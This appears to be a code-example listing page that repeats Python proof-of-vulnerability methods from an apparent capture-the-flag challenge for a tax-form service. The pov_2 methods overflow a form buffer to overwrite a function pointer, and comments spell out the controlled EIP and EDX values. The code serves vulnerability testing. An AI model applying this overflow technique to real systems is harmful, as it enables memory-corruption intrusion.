Exemple #1
0
    def pov_3(self):
        '''
        Create a new account
        '''

        if DEBUG:
            print "cmd: create account -----------"
        # create account
        tp = self._gen_random_taxpayer()

        s_key = sp.random_string(12)
        s = Session(s_key, tp, self.CREATE_ACCOUNT,
                    tp.gen_new_taxpayer_data_bytes())
        buf = s.gen_bytes()
        self.write(buf)

        # read s_key
        self.read(length=12)
        # read password
        self.read(length=12, assign=self.state['pwd'])
        # read the rest
        self.read(length=8 + 128 - 12)
        tp.password = "******" * 12

        if DEBUG:
            print "cmd: login -----------"
        s_key = sp.random_string(12)
        s_loggedin = Session(s_key, tp, self.LOGIN, "")
        (buf1, buf2) = s_loggedin.gen_bytes2()
        self.write(buf1)
        self.write(self.state['pwd'])
        self.write(buf2)

        self.read(length=12 + 128 + 8)

        if DEBUG:
            print "cmd: upload form -----------"
        # 64 will fill buffer to max

        tf_year = randint(0, 0xEFFF)
        for _ in range(64):
            t4d = TenFourD(tp)
            t4d.tax_year = tf_year
            tf_year += 1

            t4d.gen_totals_and_ds()
            tp.tax_forms.append(t4d)

            s = Session(s_key, tp, self.UPLOAD_FORM, t4d.gen_bytes())
            (buf1, buf2) = s.gen_bytes2()
            self.write(buf1)
            self.write(self.state['pwd'])
            self.write(buf2)

            self.read(length=12 + 128 + 8)
    def pov_3(self):
        '''
        Create a new account
        '''

        if DEBUG:
            print "cmd: create account -----------"
        # create account
        tp = self._gen_random_taxpayer()

        s_key = sp.random_string(12)
        s = Session(s_key, tp, self.CREATE_ACCOUNT, tp.gen_new_taxpayer_data_bytes())
        buf = s.gen_bytes()
        self.write(buf)

        # read s_key
        self.read(length=12)
        # read password
        self.read(length=12, assign=self.state['pwd'])
        # read the rest
        self.read(length=8+128-12)
        tp.password = "******"*12

        if DEBUG:
            print "cmd: login -----------"
        s_key = sp.random_string(12)
        s_loggedin = Session(s_key, tp, self.LOGIN, "")
        (buf1, buf2) = s_loggedin.gen_bytes2()
        self.write(buf1)
        self.write(self.state['pwd'])
        self.write(buf2)

        self.read(length=12+128+8)

        if DEBUG:
            print "cmd: upload form -----------"
        # 64 will fill buffer to max

        tf_year = randint(0, 0xEFFF)
        for _ in range(64):
            t4d = TenFourD(tp)
            t4d.tax_year = tf_year
            tf_year += 1

            t4d.gen_totals_and_ds()
            tp.tax_forms.append(t4d)

            s = Session(s_key, tp, self.UPLOAD_FORM, t4d.gen_bytes())
            (buf1, buf2) = s.gen_bytes2()
            self.write(buf1)
            self.write(self.state['pwd'])
            self.write(buf2)

            self.read(length=12+128+8)
    def pov_2(self):
        '''
        Create a new account
        '''

        if DEBUG:
            print "cmd: create account -----------"
        # create account
        tp = self._gen_random_taxpayer()

        s_key = sp.random_string(12)
        s = Session(s_key, tp, self.CREATE_ACCOUNT, tp.gen_new_taxpayer_data_bytes())
        buf = s.gen_bytes()
        self.write(buf)

        # read s_key
        self.read(length=12)
        # read password
        self.read(length=12, assign=self.state['pwd'])
        # read the rest
        self.read(length=8+128-12)
        tp.password = "******"*12

        if DEBUG:
            print "cmd: login -----------"
        s_key = sp.random_string(12)
        s_loggedin = Session(s_key, tp, self.LOGIN, "")
        (buf1, buf2) = s_loggedin.gen_bytes2()
        self.write(buf1)
        self.write(self.state['pwd'])
        self.write(buf2)

        self.read(length=12+128+8)

        if DEBUG:
            print "cmd: upload form -----------"
        # 64 will fill buffer to max

        tf_year = randint(0, 0xEFFF)
        for _ in range(64):
            t4d = TenFourD(tp)
            t4d.tax_year = tf_year
            tf_year += 1

            t4d.gen_totals_and_ds()
            tp.tax_forms.append(t4d)

            s = Session(s_key, tp, self.UPLOAD_FORM, t4d.gen_bytes())
            (buf1, buf2) = s.gen_bytes2()
            self.write(buf1)
            self.write(self.state['pwd'])
            self.write(buf2)

            self.read(length=12+128+8)

        # 1st & 2nd tax_year beyond buffer will overwrite fn ptr
        # 4 more to fill in
        # last 2 tax_years will overwite *r
        # EIP = 0x1FFF0FFF
        # EDX = 0xFBB0FBBF
        for tf_year2 in [0x0FFF, 0x1FFF, tf_year+1, tf_year+2, tf_year+3, tf_year+4, 0xFBBF, 0xFBB0]:
            t4d = TenFourD(tp)
            t4d.tax_year = tf_year2

            t4d.gen_totals_and_ds()
            tp.tax_forms.append(t4d)

            s = Session(s_key, tp, self.UPLOAD_FORM, t4d.gen_bytes())
            (buf1, buf2) = s.gen_bytes2()
            self.write(buf1)
            self.write(self.state['pwd'])
            self.write(buf2)

            self.read(length=12+128+8)


        if DEBUG:
            print "cmd: taxes submitted"

        tdo = DateRange(0, 0xffff)

        years = tp.get_list_submitted_tax_years(tdo.start_date, tdo.end_date)
        if DEBUG and [] == years:
            print " NO YEARS!"

        s = Session(s_key, tp, self.TAXES_SUBMITTED, tdo.gen_bytes())
        (buf1, buf2) = s.gen_bytes2()
        self.write(buf1)
        self.write(self.state['pwd'])
        self.write(buf2)

        self.read(length=12+128+8)
Exemple #4
0
    def pov_2(self):
        '''
        Create a new account
        '''

        if DEBUG:
            print "cmd: create account -----------"
        # create account
        tp = self._gen_random_taxpayer()

        s_key = sp.random_string(12)
        s = Session(s_key, tp, self.CREATE_ACCOUNT,
                    tp.gen_new_taxpayer_data_bytes())
        buf = s.gen_bytes()
        self.write(buf)

        # read s_key
        self.read(length=12)
        # read password
        self.read(length=12, assign=self.state['pwd'])
        # read the rest
        self.read(length=8 + 128 - 12)
        tp.password = "******" * 12

        if DEBUG:
            print "cmd: login -----------"
        s_key = sp.random_string(12)
        s_loggedin = Session(s_key, tp, self.LOGIN, "")
        (buf1, buf2) = s_loggedin.gen_bytes2()
        self.write(buf1)
        self.write(self.state['pwd'])
        self.write(buf2)

        self.read(length=12 + 128 + 8)

        if DEBUG:
            print "cmd: upload form -----------"
        # 64 will fill buffer to max

        tf_year = randint(0, 0xEFFF)
        for _ in range(64):
            t4d = TenFourD(tp)
            t4d.tax_year = tf_year
            tf_year += 1

            t4d.gen_totals_and_ds()
            tp.tax_forms.append(t4d)

            s = Session(s_key, tp, self.UPLOAD_FORM, t4d.gen_bytes())
            (buf1, buf2) = s.gen_bytes2()
            self.write(buf1)
            self.write(self.state['pwd'])
            self.write(buf2)

            self.read(length=12 + 128 + 8)

        # 1st & 2nd tax_year beyond buffer will overwrite fn ptr
        # 4 more to fill in
        # last 2 tax_years will overwite *r
        # EIP = 0x1FFF0FFF
        # EDX = 0xFBB0FBBF
        for tf_year2 in [
                0x0FFF, 0x1FFF, tf_year + 1, tf_year + 2, tf_year + 3,
                tf_year + 4, 0xFBBF, 0xFBB0
        ]:
            t4d = TenFourD(tp)
            t4d.tax_year = tf_year2

            t4d.gen_totals_and_ds()
            tp.tax_forms.append(t4d)

            s = Session(s_key, tp, self.UPLOAD_FORM, t4d.gen_bytes())
            (buf1, buf2) = s.gen_bytes2()
            self.write(buf1)
            self.write(self.state['pwd'])
            self.write(buf2)

            self.read(length=12 + 128 + 8)

        if DEBUG:
            print "cmd: taxes submitted"

        tdo = DateRange(0, 0xffff)

        years = tp.get_list_submitted_tax_years(tdo.start_date, tdo.end_date)
        if DEBUG and [] == years:
            print " NO YEARS!"

        s = Session(s_key, tp, self.TAXES_SUBMITTED, tdo.gen_bytes())
        (buf1, buf2) = s.gen_bytes2()
        self.write(buf1)
        self.write(self.state['pwd'])
        self.write(buf2)

        self.read(length=12 + 128 + 8)